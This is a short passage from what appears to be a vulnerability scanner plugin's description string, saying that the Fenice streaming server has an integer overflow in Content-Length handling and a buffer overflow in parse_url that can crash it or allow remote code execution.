"The remote host is running Fenice, an open source media streaming
server for Linux / Unix. 

The version of Fenice installed on the remote host is affected by an
integer overflow vulnerability involving requests with large values
for the 'Content-Length' header and by a buffer overflow vulnerability
in its 'parse_url' function.  An unauthenticated, remote attacker can
exploit either flaw using a simple GET request to crash the affected
application and possibly to execute arbitrary code subject to the
privileges of the user id under which Fenice runs." );
